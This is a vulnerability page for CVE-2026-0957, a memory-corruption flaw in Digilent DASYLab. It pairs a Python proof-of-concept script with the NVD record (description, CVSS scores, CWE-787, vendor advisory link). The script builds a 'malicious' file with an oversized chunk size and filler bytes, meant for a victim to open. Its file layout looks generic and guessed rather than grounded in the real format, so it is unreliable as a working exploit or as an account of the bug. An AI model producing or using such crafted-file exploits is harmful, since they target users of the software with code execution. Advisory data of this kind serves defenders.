CVE-2026-0957

#!/usr/bin/env python3 """ CVE-2026-0957 PoC - Digilent DASYLab Out-of-Bounds Write Note: This is a demonstration PoC for educational purposes only. """ import struct import os def create_malicious_dasylab_file(filename): """ Create a malicious DASYLab file to trigger CVE-2026-0957 This PoC generates a malformed file header with oversized data """ # File signature for DASYLab format header = b'DASYLab\x00' # Version field version = struct.pack('<I', 0x00010001) # Malicious chunk size - exceeds expected buffer # This triggers the out-of-bounds write condition malicious_size = struct.pack('<I', 0xFFFFFFFF) # Crafted payload designed to overflow buffer boundaries payload = b'A' * 1024 # oversized data # Additional trigger data trigger = b'\x41\x42\x43\x44' * 256 # pattern to identify overflow # Write malicious file with open(filename, 'wb') as f: f.write(header) f.write(version) f.write(malicious_size) f.write(payload) f.write(trigger) print(f"[+] Created malicious file: {filename}") print(f"[+] File size: {os.path.getsize(filename)} bytes") print(f"[!] This file is designed to trigger CVE-2026-0957") print(f"[!] Target: Digilent DASYLab <= all versions") if __name__ == "__main__": poc_file = "CVE-2026-0957.malicious" create_malicious_dasylab_file(poc_file) print("\n[*] PoC generated. In real attack, victim would open this file in DASYLab.")

{"cve": {"id": "CVE-2026-0957", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:57.730", "lastModified": "2026-03-19T17:39:48.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a memory corruption vulnerability due to an out-of-bounds write when loading a corrupted file in Digilent DASYLab.  This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted file. This vulnerability affects all versions of Digilent DASYLab."}, {"lang": "es", "value": "Hay una vulnerabilidad de corrupción de memoria debido a una escritura fuera de límites al cargar un archivo corrupto en Digilent DASYLab. Esta vulnerabilidad puede resultar en revelación de información o ejecución de código arbitrario. La explotación exitosa requiere que un atacante consiga que un usuario abra un archivo especialmente diseñado. Esta vulnerabilidad afecta a todas las versiones de Digilent DASYLab."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:dasylab:*:*:*:*:*:*:*:*", "matchCriteriaId": "C82FAA96-B2A6-45B2-B5ED-00E56EAB3274"}]}]}], "references": [{"url": "https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/2026/out-of-bounds-write-vulnerabilities-in-digilent-dasylab.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}